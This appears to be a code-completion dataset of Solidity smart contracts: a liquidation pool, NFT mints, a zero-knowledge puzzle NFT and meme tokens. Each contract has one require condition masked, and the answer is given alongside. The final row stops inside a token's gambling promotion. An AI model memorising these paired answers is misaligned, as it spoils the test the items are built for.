comment
stringlengths
1
211
input
stringlengths
155
20k
label
stringlengths
4
1k
original_idx
int64
203
514k
predicate
stringlengths
1
1k
"Not done yet."
// SPDX-License-Identifier: MIT pragma solidity 0.8.18; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./interfaces/ICurve.sol"; import "./interfaces/AggregatorInterface.sol"; import "./interfaces/IMinter.sol"; contract LiquidatePool is AccessControl { using SafeERC20 for IERC20; using SafeMath for uint256; bytes32 public constant POOL_MANAGER_ROLE = keccak256("POOL_MANAGER_ROLE"); // used to redeem stbt address public mxpRedeemPool; address public stbtMinter; address public admin; // ustpool address public ustpool; // stbt address IERC20 public stbt; // usdc address IERC20 public usdc; // STBT curve pool // Mainnet: 0x892D701d94a43bDBCB5eA28891DaCA2Fa22A690b ICurve curvePool; // Used to calculate the fee base. uint256 public constant FEE_COEFFICIENT = 1e8; // Max fee rates can't over then 1% uint256 public constant maxLiquidateFeeRate = FEE_COEFFICIENT / 100; uint256 public constant maxLiquidateMXPFeeRate = FEE_COEFFICIENT / 100; // liquidateFeeRate: 0.1% => 100000 (10 ** 5) // liquidateFeeRate: 10% => 10000000 (10 ** 7) // liquidateFeeRate: 100% => 100000000 (10 ** 8) // It's used when call liquidate method. uint256 public liquidateFeeRate; uint256 public liquidateMXPFeeRate; // Fee Collector, used to receive fee. address public feeCollector; // liquidation index. uint256 public liquidationIndex; // the time for liquidation. uint256 public processPeriod; // redemption option bool public isOTC = false; struct LiquidationDetail { uint256 id; uint256 timestamp; address user; uint256 repayAmount; uint256 receiveAmountAfterFee; uint256 MXPFee; uint256 protocolFee; // False not withdraw, or True. bool isDone; } // Mapping from liquidation index to liquidationDetail. mapping(uint256 => LiquidationDetail) public liquidationDetails; // mint threshold for underlying token uint256 public mintThreshold; // redeem threshold for STBT uint256 public redeemThreshold; // target price int256 public lowerPrice; int256 public upperPrice; // priceFeed be using check USDC is pegged AggregatorInterface public priceFeed; // coins , [DAI, USDC, USDT] // see https://etherscan.io/address/0x892D701d94a43bDBCB5eA28891DaCA2Fa22A690b#code address[3] public coins; event liquidateRequested( uint256 id, uint256 timestamp, address indexed user, uint256 repayAmount, uint256 underlyingAmount, uint256 receiveAmountAfterFee, uint256 MXPFee, uint256 protocolFee ); event FinalizeLiquidation( address indexed user, uint256 amount, uint256 protocolFee, uint256 id ); event ProcessPeriodChanged(uint256 newProcessPeriod); event FeeCollectorChanged(address newFeeCollector); event LiquidateFeeRateChanged(uint256 newLiquidateFeeRate); event RedeemMXPFeeRateChanged(uint256 newRedeemMXPFeeRate); event RedeemPoolChanged(address newRedeemPool); event RedeemMinterChanged(address newRedeemMinter); event CurvePoolChanged(address newCurvePool); event RedeemThresholdChanged(uint256 newRedeemThreshold); event PegPriceChanged(int256 lowerPrice, int256 upperPrice); event RedemptionOptionChanged(bool isOTC); constructor( address _admin, address _ustpool, address _mxpRedeemPool, address _stbt, address _usdc, address _priceFeed, address[3] memory _coins ) { } /** * @dev to set the period of processing * @param _processPeriod the period of processing. it's second. */ function setProcessPeriod(uint256 _processPeriod) external onlyRole(POOL_MANAGER_ROLE) { } /** * @dev to set the collector of fee * @param _feeCollector the address of collector */ function setFeeCollector(address _feeCollector) external onlyRole(DEFAULT_ADMIN_ROLE) { } /** * @dev to set the rate of liquidate fee * @param _liquidateFeeRate the rate. it should be multiply 10**6 */ function setLiquidateFeeRate(uint256 _liquidateFeeRate) external onlyRole(POOL_MANAGER_ROLE) { } /** * @dev to set the redemption option * @param _isOTC option */ function setRedemptionOption(bool _isOTC) external onlyRole(POOL_MANAGER_ROLE) { } /** * @dev to set the rate of MP redeem fee * @param _liquidateMXPFeeRate the rate. it should be multiply 10**6 */ function setRedeemMXPFeeRate( uint256 _liquidateMXPFeeRate ) external onlyRole(POOL_MANAGER_ROLE) { } /** * @dev to set the redeem pool * @param _redeemPool the address of redeem pool */ function setRedeemPool(address _redeemPool) external onlyRole(DEFAULT_ADMIN_ROLE) { } /** * @dev to set the stbt minter * @param _stbtMinter the address of minter */ function setSTBTMinter(address _stbtMinter) external onlyRole(DEFAULT_ADMIN_ROLE) { } /** * @dev to set the stbt curve pool * @param _curvePool the address of curve pool */ function setCurvePool(address _curvePool) external onlyRole(DEFAULT_ADMIN_ROLE) { } /** * @dev to set the redeem threshold * @param amount the amount of redeem threshold */ function setRedeemThreshold(uint256 amount) external onlyRole(POOL_MANAGER_ROLE) { } /** * @dev to set the price * @param _lowerPrice the lower price of usdc * @param _upperPrice the upper price of usdc */ function setPegPrice( int256 _lowerPrice, int256 _upperPrice ) external onlyRole(POOL_MANAGER_ROLE) { } /** * @dev get the exchange amount out from curve * @param stbtAmount amount of stbt * @param j token of index for curve pool */ function getFlashLiquidateAmountOutFromCurve( uint256 stbtAmount, int128 j ) public view returns (uint256) { } /// @notice get price feed answer function latestRoundData() public view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { } function _checkChainlinkResponse() internal view returns (bool) { } /** * @dev Transfer a give amout of stbt to matrixport's mint pool * @param caller the address of liquidator * @param stbtAmount the amout of stbt */ function liquidateSTBT(address caller, uint256 stbtAmount) external { } /** * @dev Transfer a give amout of stbt to matrixport's mint pool * @param stbtAmount the amout of stbt * @param j token of index for curve pool * @param minReturn the minimum amount of return * @param receiver used to receive token */ function flashLiquidateSTBTByCurve( uint256 stbtAmount, int128 j, uint256 minReturn, address receiver ) external { } /** * @dev finalize liquidation * @param _id the id of liquidation details */ function finalizeLiquidationById(uint256 _id) external { require(liquidationDetails[_id].user == msg.sender, "Not yours."); require(liquidationDetails[_id].isDone == false, "Withdrawn"); require(<FILL_ME>) uint256 receiveAmountAfterFee = liquidationDetails[_id].receiveAmountAfterFee; uint256 protocolFee = liquidationDetails[_id].protocolFee; liquidationDetails[_id].isDone = true; // the MXP fee had been charge. usdc.safeTransfer(msg.sender, receiveAmountAfterFee); usdc.safeTransfer(feeCollector, protocolFee); emit FinalizeLiquidation(msg.sender, receiveAmountAfterFee, protocolFee, _id); } }
liquidationDetails[_id].timestamp+processPeriod<=block.timestamp,"Not done yet."
98,119
liquidationDetails[_id].timestamp+processPeriod<=block.timestamp
"invalid signature"
pragma solidity ^0.8.2; contract BullaBulla is ERC721, Ownable, Pausable { using Counters for Counters.Counter; using Strings for uint256; address public signer; string public URIlink; mapping(address => bool) public wlMintDone; event Minted(address indexed to); Counters.Counter private _tokenIdCounter; constructor(address _signer) ERC721("BullaBulla", "BULLA") { } function checkValidity(bytes calldata signature, string memory action) public view returns (bool) { require(<FILL_ME>) return true; } function _baseURI() internal view override returns (string memory) { } function safeMint(address to) internal whenNotPaused { } function whitelistMint(bytes calldata signature) external whenNotPaused { } function batchMint(uint amount) public payable whenNotPaused { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function getCounter() public view returns (uint){ } function getSigner() public view returns (address){ } //owner functions function changeURI(string memory _URI) external onlyOwner { } function setSigner(address _signer) external onlyOwner { } function widthdrawContractBalance() external onlyOwner { } function pause() external onlyOwner { } function unpause() external onlyOwner { } }
ECDSA.recover(ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(msg.sender,action))),signature)==signer,"invalid signature"
98,158
ECDSA.recover(ECDSA.toEthSignedMessageHash(keccak256(abi.encodePacked(msg.sender,action))),signature)==signer
"already minted once!"
pragma solidity ^0.8.2; contract BullaBulla is ERC721, Ownable, Pausable { using Counters for Counters.Counter; using Strings for uint256; address public signer; string public URIlink; mapping(address => bool) public wlMintDone; event Minted(address indexed to); Counters.Counter private _tokenIdCounter; constructor(address _signer) ERC721("BullaBulla", "BULLA") { } function checkValidity(bytes calldata signature, string memory action) public view returns (bool) { } function _baseURI() internal view override returns (string memory) { } function safeMint(address to) internal whenNotPaused { } function whitelistMint(bytes calldata signature) external whenNotPaused { require(<FILL_ME>) checkValidity(signature, "whitelist-mint"); wlMintDone[msg.sender] = true; safeMint(msg.sender); } function batchMint(uint amount) public payable whenNotPaused { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } function getCounter() public view returns (uint){ } function getSigner() public view returns (address){ } //owner functions function changeURI(string memory _URI) external onlyOwner { } function setSigner(address _signer) external onlyOwner { } function widthdrawContractBalance() external onlyOwner { } function pause() external onlyOwner { } function unpause() external onlyOwner { } }
!wlMintDone[msg.sender],"already minted once!"
98,158
!wlMintDone[msg.sender]
"Roundtrip too high"
//SPDX-License-Identifier: MIT /* 🐸$ Socials Telegram: https://t.me/PepeStateDollar Website: https://PepeStateDollar.vip Twitter: https://Twitter.com/PepeStateDollar */ pragma solidity 0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address __owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Auth { address internal _owner; constructor(address creatorOwner) { } modifier onlyOwner() { } function owner() public view returns (address) { } function transferOwnership(address payable newOwner) external onlyOwner { } function renounceOwnership() external onlyOwner { } event OwnershipTransferred(address _owner); } contract Psd is IERC20, Auth { uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 420_420_420_420 * (10**_decimals); string private constant _name = "Pepe State Dollar"; string private constant _symbol = "$PSD"; uint8 private antiSnipeTax1 = 2; uint8 private antiSnipeTax2 = 1; uint8 private antiSnipeBlocks1 = 1; uint8 private antiSnipeBlocks2 = 1; uint256 private _antiMevBlock = 2; uint8 private _buyTaxRate = 0; uint8 private _sellTaxRate = 0; uint16 private _taxSharesMarketing = 80; uint16 private _taxSharesDevelopment = 20; uint16 private _taxSharesLP = 0; uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesLP; address payable private _walletMarketing = payable(0xe7207eB9d45264410A2022c3779a87dba52b19BB); address payable private _walletDevelopment = payable(0x5627dEe4918D337296D9Cd1ab0AB2a60A93f6Fa4); uint256 private _launchBlock; uint256 private _maxTxAmount = _totalSupply; uint256 private _maxWalletAmount = _totalSupply; uint256 private _taxSwapMin = _totalSupply * 10 / 100000; uint256 private _taxSwapMax = _totalSupply * 899 / 100000; uint256 private _swapLimit = _taxSwapMin * 43 * 100; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _noFees; mapping (address => bool) private _noLimits; address private _lpOwner; address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress); address private _primaryLP; mapping (address => bool) private _isLP; bool private _tradingOpen; bool private _inTaxSwap = false; modifier lockTaxSwap { } event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount); constructor() Auth(msg.sender) { } receive() external payable {} function totalSupply() external pure override returns (uint256) { } function decimals() external pure override returns (uint8) { } function symbol() external pure override returns (string memory) { } function name() external pure override returns (string memory) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address holder, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { } function _approveRouter(uint256 _tokenAmount) internal { } function addLiquidity() external payable onlyOwner lockTaxSwap { } function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal { } function _openTrading() internal { } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { } function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) { } function _checkTradingOpen(address sender) private view returns (bool){ } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { } function exemptFromFees(address wallet) external view returns (bool) { } function exemptFromLimits(address wallet) external view returns (bool) { } function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner { } function buyFee() external view returns(uint8) { } function sellFee() external view returns(uint8) { } function feeSplit() external view returns (uint16 marketing, uint16 development, uint16 LP ) { } function setFees(uint8 buy, uint8 sell) external onlyOwner { require(<FILL_ME>) _buyTaxRate = buy; _sellTaxRate = sell; } function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner { } function marketingWallet() external view returns (address) { } function developmentWallet() external view returns (address) { } function updateWallets(address marketing, address development, address LPtokens) external onlyOwner { } function maxWallet() external view returns (uint256) { } function maxTransaction() external view returns (uint256) { } function swapAtMin() external view returns (uint256) { } function swapAtMax() external view returns (uint256) { } function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner { } function setTaxSwap(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner { } function _burnTokens(address fromWallet, uint256 amount) private { } function _swapTaxAndLiquify() private lockTaxSwap { } function _swapTaxTokensForEth(uint256 tokenAmount) private { } function _distributeTaxEth(uint256 amount) private { } function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap { } function burn(uint256 amount) external { } }
buy+sell<=2,"Roundtrip too high"
98,171
buy+sell<=2
"max wallet limit reached"
// SPDX-License-Identifier: UNLICENSED // https://t.me/masterbase_erc pragma solidity 0.8.20; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } interface ERC20 { function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownr { address internal owner; constructor(address _owner) { } modifier onlyOwner() { } function isOwner(address account) public view returns (bool) { } function renounceOwnership() external onlyOwner { } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract MASTERBASE is ERC20, Ownr { using SafeMath for uint256; address immutable WETH; address constant DEAD = 0x000000000000000000000000000000000000dEaD; address constant ZERO = 0x0000000000000000000000000000000000000000; string public constant name = "MasterBase"; string public constant symbol = "$MBase"; uint8 public constant decimals = 12; uint256 public constant totalSupply = 1 * 10**9 * 10**decimals; uint256 public _maxWalletAmount = (69 * totalSupply )/ 10000; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) public _isFeesExempt; mapping (address => bool) public _isWalletLimitExmpt; uint256 public totalFee = 10; uint256 public constant feeBase = 100; uint256 public buyMultiplier = 200; uint256 public sellMultiplier = 400; uint256 public transfrMultiplier = 200; address public marketingWallet; IDEXRouter public router; address public immutable pair; bool public tokenswapEnabled = true; uint256 swapThreshold = totalSupply / 500; bool inSwap; modifier swapping() { } constructor () Ownr(msg.sender) { } receive() external payable { } function getOwner() external view override returns (address) { } function allowance(address holder, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function approveMax(address spender) external returns (bool) { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { } function setMaxWallet_base100(uint256 _maxwal) external onlyOwner { } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { if(inSwap){ return _basicTransfer(sender, recipient, amount); } if (!_isWalletLimitExmpt[sender] && !_isWalletLimitExmpt[recipient] && recipient != pair) { require(<FILL_ME>) } if(shouldSwapBack()){ swapBack(); } balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance"); uint256 amountReceived = (_isFeesExempt[sender] || _isFeesExempt[recipient]) ? amount : takeFee(sender, amount, recipient); balanceOf[recipient] = balanceOf[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { } function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) { } function shouldSwapBack() internal view returns (bool) { } function swapBack() internal swapping { } function setFee(uint256 _buy, uint256 _sell) external onlyOwner { } function manualSwap(uint256 amountPercentage) external onlyOwner { } function rescueToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) { } function getCirculatingSupply() public view returns (uint256) { } }
(balanceOf[recipient]+amount)<=_maxWalletAmount,"max wallet limit reached"
98,179
(balanceOf[recipient]+amount)<=_maxWalletAmount
"too many already minted before patner mint"
// SPDX-License-Identifier: MIT /* --------------------------------------------------------------------------------------------------------------------- @@@@@@ @@@@ @@@@ @@@@@@ @@@@ @@@@ @@@@@@ @@@@@@@ @@@@@@ @@@@ @@@@ @@@@@@@ @@@@ @@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@ @@@@ @@@@ @@@@@@@ @@@@ @@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@@ @@@@@@@@@@@@@@@@ @@@@@@@ @@@@@@@@@@@@@ @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@@@@@F @@@@@@@ @@@@@@@ @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@ @@ @@@@@@@F @@@@@@@ @@@@@@@@ @@@@@@ @@@@@@@ @@@@@@@ @@@@@@ @@@@@@@F @@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@ @@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@ @@@@@@@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@ @@@@@@@@ @@@@@ @@@@@@@@ @@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@ --------------------------------------------------------------------------------------------------------------------- */ pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/common/ERC2981.sol"; import "./ERC721A.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract CoveredVillage is ERC721A, Ownable, ReentrancyGuard, ERC2981{ uint256 public tokenCount; uint256 public prePrice = 0.005 ether; uint256 public pubPrice = 0.008 ether; uint256 public batchSize = 100; uint256 public mintLimit = 3; uint256 public _totalSupply = 3333; bool public preSaleStart = false; bool public pubSaleStart = false; mapping(address => uint256) public minted; bytes32 public merkleRoot; address public royaltyAddress; uint96 public royaltyFee = 1000; bool public revealed; string public baseURI; string public notRevealedURI; constructor() ERC721A("CoveredVillage", "CV",batchSize, _totalSupply) { } function ownerMint(uint256 _mintAmount, address to) external onlyOwner { require(<FILL_ME>) _safeMint(to, _mintAmount); tokenCount += _mintAmount; } function preMint(uint256 _mintAmount, bytes32[] calldata _merkleProof) public payable nonReentrant { } function pubMint(uint256 _mintAmount) public payable nonReentrant { } function _baseURI() internal view override returns (string memory) { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setHiddenURI(string memory _newHiddenURI) public onlyOwner { } function switchReveal() public onlyOwner { } function tokenURI(uint256 _tokenId) public view virtual override(ERC721A) returns (string memory) { } function withdrawRevenueShare() external onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function switchPreSale(bool _state) external onlyOwner { } function switchPubSale(bool _state) external onlyOwner { } function setLimit(uint256 newLimit) external onlyOwner { } function walletOfOwner(address _address) public view returns (uint256[] memory) { } //set Default Royalty._feeNumerator 500 = 5% Royalty function setRoyaltyFee(uint96 _feeNumerator) external onlyOwner { } //Change the royalty address where royalty payouts are sent function setRoyaltyAddress(address _royaltyAddress) external onlyOwner { } function supportsInterface( bytes4 interfaceId ) public view virtual override(ERC721A, ERC2981) returns (bool) { } }
(_mintAmount+tokenCount)<=(_totalSupply),"too many already minted before patner mint"
98,515
(_mintAmount+tokenCount)<=(_totalSupply)
"Puzzle: you already have the NFT!"
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.4; import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import { Verifier } from "./Verifier.sol"; contract Puzzle is Ownable, Pausable, ERC721, ERC721URIStorage, Verifier { using Counters for Counters.Counter; Counters.Counter private _tokenIds; // mapping of all addresses that already hold the NFT mapping(address => bool) private _hackers; uint256 private constant SNARK_SCALAR_FIELD = 21888242871839275222246405745257275088548364400416034343698204186575808495617; uint256 private constant ENTRY_LIMIT = 12; string public baseURI; uint256 public refundingGasPrice; // events event Solved(address indexed _solver, uint256 _nftID); event GasRefundSet(uint256 oldRefundPrice, uint256 newRefundPrice); constructor(string memory _uri, uint256 _refundingGasPrice) ERC721("GrothHacker", "GH") { } // ZK function solve( uint256[8] calldata _proof ) external refundGas whenNotPaused { require(<FILL_ME>) require( areAllValidFieldElements(_proof), "Puzzle: invalid field element(s) in proof" ); uint256 _a = uint256(uint160(address(msg.sender))); require( verifyProof( [_proof[0], _proof[1]], [[_proof[2], _proof[3]], [_proof[4], _proof[5]]], [_proof[6], _proof[7]], [_a] ), "Puzzle: Invalid proof" ); // Mint the prize token mintToken(msg.sender); _hackers[msg.sender] = true; emit Solved(msg.sender, _tokenIds.current() - 1); } function areAllValidFieldElements( uint256[8] memory _proof ) private pure returns (bool) { } // NFT function mintToken(address owner) private { } function _baseURI() internal view override returns (string memory) { } function setBaseURI(string memory uri) public onlyOwner { } // All tokens are the same so just return the baseURI function tokenURI(uint256) public view override(ERC721, ERC721URIStorage) returns (string memory) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721) { } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { } function supportsInterface(bytes4 interfaceId) public view override(ERC721) returns (bool) { } /// Pausable function pause() public onlyOwner whenNotPaused { } function unpause() public onlyOwner whenPaused { } /// Contract state receive() external payable {} function setRefundingGasPrice(uint256 _refundingGasPrice) external onlyOwner { } function withdraw() external onlyOwner { } // Perform the gas refund // 28521 was estimated using Remix modifier refundGas() { } }
!_hackers[msg.sender],"Puzzle: you already have the NFT!"
98,687
!_hackers[msg.sender]
"Puzzle: invalid field element(s) in proof"
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.4; import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import { Verifier } from "./Verifier.sol"; contract Puzzle is Ownable, Pausable, ERC721, ERC721URIStorage, Verifier { using Counters for Counters.Counter; Counters.Counter private _tokenIds; // mapping of all addresses that already hold the NFT mapping(address => bool) private _hackers; uint256 private constant SNARK_SCALAR_FIELD = 21888242871839275222246405745257275088548364400416034343698204186575808495617; uint256 private constant ENTRY_LIMIT = 12; string public baseURI; uint256 public refundingGasPrice; // events event Solved(address indexed _solver, uint256 _nftID); event GasRefundSet(uint256 oldRefundPrice, uint256 newRefundPrice); constructor(string memory _uri, uint256 _refundingGasPrice) ERC721("GrothHacker", "GH") { } // ZK function solve( uint256[8] calldata _proof ) external refundGas whenNotPaused { require( !_hackers[msg.sender], "Puzzle: you already have the NFT!" ); require(<FILL_ME>) uint256 _a = uint256(uint160(address(msg.sender))); require( verifyProof( [_proof[0], _proof[1]], [[_proof[2], _proof[3]], [_proof[4], _proof[5]]], [_proof[6], _proof[7]], [_a] ), "Puzzle: Invalid proof" ); // Mint the prize token mintToken(msg.sender); _hackers[msg.sender] = true; emit Solved(msg.sender, _tokenIds.current() - 1); } function areAllValidFieldElements( uint256[8] memory _proof ) private pure returns (bool) { } // NFT function mintToken(address owner) private { } function _baseURI() internal view override returns (string memory) { } function setBaseURI(string memory uri) public onlyOwner { } // All tokens are the same so just return the baseURI function tokenURI(uint256) public view override(ERC721, ERC721URIStorage) returns (string memory) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721) { } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { } function supportsInterface(bytes4 interfaceId) public view override(ERC721) returns (bool) { } /// Pausable function pause() public onlyOwner whenNotPaused { } function unpause() public onlyOwner whenPaused { } /// Contract state receive() external payable {} function setRefundingGasPrice(uint256 _refundingGasPrice) external onlyOwner { } function withdraw() external onlyOwner { } // Perform the gas refund // 28521 was estimated using Remix modifier refundGas() { } }
areAllValidFieldElements(_proof),"Puzzle: invalid field element(s) in proof"
98,687
areAllValidFieldElements(_proof)
"Puzzle: Invalid proof"
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.4; import "hardhat/console.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import { Verifier } from "./Verifier.sol"; contract Puzzle is Ownable, Pausable, ERC721, ERC721URIStorage, Verifier { using Counters for Counters.Counter; Counters.Counter private _tokenIds; // mapping of all addresses that already hold the NFT mapping(address => bool) private _hackers; uint256 private constant SNARK_SCALAR_FIELD = 21888242871839275222246405745257275088548364400416034343698204186575808495617; uint256 private constant ENTRY_LIMIT = 12; string public baseURI; uint256 public refundingGasPrice; // events event Solved(address indexed _solver, uint256 _nftID); event GasRefundSet(uint256 oldRefundPrice, uint256 newRefundPrice); constructor(string memory _uri, uint256 _refundingGasPrice) ERC721("GrothHacker", "GH") { } // ZK function solve( uint256[8] calldata _proof ) external refundGas whenNotPaused { require( !_hackers[msg.sender], "Puzzle: you already have the NFT!" ); require( areAllValidFieldElements(_proof), "Puzzle: invalid field element(s) in proof" ); uint256 _a = uint256(uint160(address(msg.sender))); require(<FILL_ME>) // Mint the prize token mintToken(msg.sender); _hackers[msg.sender] = true; emit Solved(msg.sender, _tokenIds.current() - 1); } function areAllValidFieldElements( uint256[8] memory _proof ) private pure returns (bool) { } // NFT function mintToken(address owner) private { } function _baseURI() internal view override returns (string memory) { } function setBaseURI(string memory uri) public onlyOwner { } // All tokens are the same so just return the baseURI function tokenURI(uint256) public view override(ERC721, ERC721URIStorage) returns (string memory) { } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721) { } function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) { } function supportsInterface(bytes4 interfaceId) public view override(ERC721) returns (bool) { } /// Pausable function pause() public onlyOwner whenNotPaused { } function unpause() public onlyOwner whenPaused { } /// Contract state receive() external payable {} function setRefundingGasPrice(uint256 _refundingGasPrice) external onlyOwner { } function withdraw() external onlyOwner { } // Perform the gas refund // 28521 was estimated using Remix modifier refundGas() { } }
verifyProof([_proof[0],_proof[1]],[[_proof[2],_proof[3]],[_proof[4],_proof[5]]],[_proof[6],_proof[7]],[_a]),"Puzzle: Invalid proof"
98,687
verifyProof([_proof[0],_proof[1]],[[_proof[2],_proof[3]],[_proof[4],_proof[5]]],[_proof[6],_proof[7]],[_a])
"Total Holding is currently limited, you can not buy that much."
// SPDX-License-Identifier: MIT /** What is SHIBAKI? SHIBAKI is a cutting-edge crypto project that is going to conquer the world of decentralized betting and gaming with its innovative DICE dapp. Built on the foundation of Ethereum blockchain technology, Shibaki offers a secure, transparent, and entertaining platform for users to engage in a new dimension of gaming and betting VERSIONS: Online version - special online streams events with wonderful SHIBAKI hosts dropping the dice (follow the announcements in Telegram (https://t.me/shibaki_dice) group). Do not stare at host too much - bet. Offline version - endless drop of dice every five minutes (or less). How to SHIBAKI? First of all, SHIBAKI have sustainable and stable smart-contract based on Ethereum chain. To enter the SHIBAKI gamble metaverse, you need to enter www.shibaki.io (https://www.shibaki.io/) website. After facing the loading page, you need to connect your Metamask wallet on Ethereum chain by pushing green "connect" button at the top right corner. So, you connected your wallet and now you need to choose between the versions - online or offline by clicking on it. Now you are ready to SHIBAKI! According to offline and online versions, there always will be two dices, so the results are always from two to twelve (1-1, 6-6). In the middle you can see the screen with timer (this is the time until the next round) and some buttons below. You have two columns for betting: 2-6 and 8-12 - choose the numbers you think will be shown in a random way 